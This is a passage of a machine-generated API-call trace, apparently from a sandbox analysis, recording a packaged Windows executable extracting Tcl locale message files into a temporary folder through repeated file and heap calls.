GetFileType (hFile=0x10c) returned 0x1 [0037.630] htonl (hostlong=0x85040000) returned 0x485 [0037.630] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.630] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x485, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x485, lpOverlapped=0x0) returned 1 [0037.631] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.631] CloseHandle (hObject=0x10c) returned 1 [0037.631] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550770 | out: hHeap=0x530000) returned 1 [0037.631] htonl (hostlong=0x30000000) returned 0x30 [0037.631] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.631] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.631] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.631] GetFileType (hFile=0x10c) returned 0x1 [0037.632] htonl (hostlong=0xb08b5700) returned 0x578bb0 [0037.632] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c3bb0, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.632] htonl (hostlong=0x59010000) returned 0x159 [0037.632] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x159) returned 0x550600 [0037.632] htonl (hostlong=0x59010000) returned 0x159 [0037.632] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.632] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.632] htonl (hostlong=0x37040000) returned 0x437 [0037.632] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x437) returned 0x550768 [0037.632] htonl (hostlong=0x59010000) returned 0x159 [0037.632] htonl (hostlong=0x37040000) returned 0x437 [0037.632] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.632] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.632] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.632] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.632] CloseHandle (hObject=0x10c) returned 1 [0037.632] GetLastError () returned 0x0 [0037.632] SetLastError (dwErrCode=0x0) [0037.632] GetLastError () returned 0x0 [0037.632] SetLastError (dwErrCode=0x0) [0037.632] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.632] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.632] GetFileType (hFile=0x10c) returned 0x1 [0037.632] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.632] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.632] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.632] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.633] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.633] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.633] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.633] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.633] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.633] CloseHandle (hObject=0x10c) returned 1 [0037.633] GetLastError () returned 0x0 [0037.633] SetLastError (dwErrCode=0x0) [0037.633] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.633] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.633] GetFileType (hFile=0x10c) returned 0x1 [0037.633] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.633] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.633] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.633] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.633] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.633] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.633] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.633] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.633] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.633] CloseHandle (hObject=0x10c) returned 1 [0037.633] GetLastError () returned 0x0 [0037.633] SetLastError (dwErrCode=0x0) [0037.633] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\nl.msg") returned 61 [0037.634] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\nl.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\nl.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.634] GetLastError () returned 0x2 [0037.634] SetLastError (dwErrCode=0x2) [0037.634] GetLastError () returned 0x2 [0037.634] SetLastError (dwErrCode=0x2) [0037.634] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\nl.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\nl.msg", lpFilePart=0x0) returned 0x3c [0037.634] GetLastError () returned 0x2 [0037.634] SetLastError (dwErrCode=0x2) [0037.634] GetLastError () returned 0x2 [0037.634] SetLastError (dwErrCode=0x2) [0037.634] GetLastError () returned 0x2 [0037.634] SetLastError (dwErrCode=0x2) [0037.634] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\nl.msg") returned 61 [0037.634] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.634] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\nl.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\nl.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.634] GetFileType (hFile=0x10c) returned 0x1 [0037.634] htonl (hostlong=0x37040000) returned 0x437 [0037.634] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.634] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x437, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x437, lpOverlapped=0x0) returned 1 [0037.635] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.635] CloseHandle (hObject=0x10c) returned 1 [0037.636] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550768 | out: hHeap=0x530000) returned 1 [0037.636] htonl (hostlong=0x30000000) returned 0x30 [0037.636] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.636] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.636] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.636] GetFileType (hFile=0x10c) returned 0x1 [0037.636] htonl (hostlong=0x98d5700) returned 0x578d09 [0037.636] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c3d09, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.636] htonl (hostlong=0x9f000000) returned 0x9f [0037.636] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9f) returned 0x55cfe0 [0037.636] htonl (hostlong=0x9f000000) returned 0x9f [0037.636] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.636] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.637] htonl (hostlong=0x17010000) returned 0x117 [0037.637] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x117) returned 0x550600 [0037.637] htonl (hostlong=0x9f000000) returned 0x9f [0037.637] htonl (hostlong=0x17010000) returned 0x117 [0037.637] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.637] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.637] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0037.637] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.637] CloseHandle (hObject=0x10c) returned 1 [0037.637] GetLastError () returned 0x0 [0037.637] SetLastError (dwErrCode=0x0) [0037.637] GetLastError () returned 0x0 [0037.637] SetLastError (dwErrCode=0x0) [0037.637] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.637] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.637] GetFileType (hFile=0x10c) returned 0x1 [0037.637] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.637] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.637] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.637] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.637] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.637] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.637] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.637] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.637] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.637] CloseHandle (hObject=0x10c) returned 1 [0037.638] GetLastError () returned 0x0 [0037.638] SetLastError (dwErrCode=0x0) [0037.638] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.638] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.638] GetFileType (hFile=0x10c) returned 0x1 [0037.638] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.638] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.638] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.638] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.638] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.638] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.638] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.638] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.638] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.638] CloseHandle (hObject=0x10c) returned 1 [0037.638] GetLastError () returned 0x0 [0037.638] SetLastError (dwErrCode=0x0) [0037.638] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\nl_be.msg") returned 64 [0037.638] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\nl_be.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\nl_be.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.638] GetLastError () returned 0x2 [0037.638] SetLastError (dwErrCode=0x2) [0037.638] GetLastError () returned 0x2 [0037.639] SetLastError (dwErrCode=0x2) [0037.639] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\nl_be.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\nl_be.msg", lpFilePart=0x0) returned 0x3f [0037.639] GetLastError () returned 0x2 [0037.639] SetLastError (dwErrCode=0x2) [0037.639] GetLastError () returned 0x2 [0037.639] SetLastError (dwErrCode=0x2) [0037.639] GetLastError () returned 0x2 [0037.639] SetLastError (dwErrCode=0x2) [0037.639] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\nl_be.msg") returned 64 [0037.639] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.639] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\nl_be.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\nl_be.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.639] GetFileType (hFile=0x10c) returned 0x1 [0037.639] htonl (hostlong=0x17010000) returned 0x117 [0037.639] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.639] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x117, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x117, lpOverlapped=0x0) returned 1 [0037.640] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.640] CloseHandle (hObject=0x10c) returned 1 [0037.641] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.641] htonl (hostlong=0x30000000) returned 0x30 [0037.641] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.641] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.641] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.641] GetFileType (hFile=0x10c) returned 0x1 [0037.641] htonl (hostlong=0xa88d5700) returned 0x578da8 [0037.641] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c3da8, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.641] htonl (hostlong=0x67010000) returned 0x167 [0037.641] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x167) returned 0x550600 [0037.641] htonl (hostlong=0x67010000) returned 0x167 [0037.641] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.641] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.641] htonl (hostlong=0x7c040000) returned 0x47c [0037.641] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x47c) returned 0x550770 [0037.641] htonl (hostlong=0x67010000) returned 0x167 [0037.641] htonl (hostlong=0x7c040000) returned 0x47c [0037.641] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.641] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.641] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.641] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.641] CloseHandle (hObject=0x10c) returned 1 [0037.642] GetLastError () returned 0x0 [0037.642] SetLastError (dwErrCode=0x0) [0037.642] GetLastError () returned 0x0 [0037.642] SetLastError (dwErrCode=0x0) [0037.642] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.642] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.642] GetFileType (hFile=0x10c) returned 0x1 [0037.642] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.642] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.642] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.642] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.642] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.642] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.642] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.642] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.642] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.642] CloseHandle (hObject=0x10c) returned 1 [0037.642] GetLastError () returned 0x0 [0037.642] SetLastError (dwErrCode=0x0) [0037.643] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.643] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 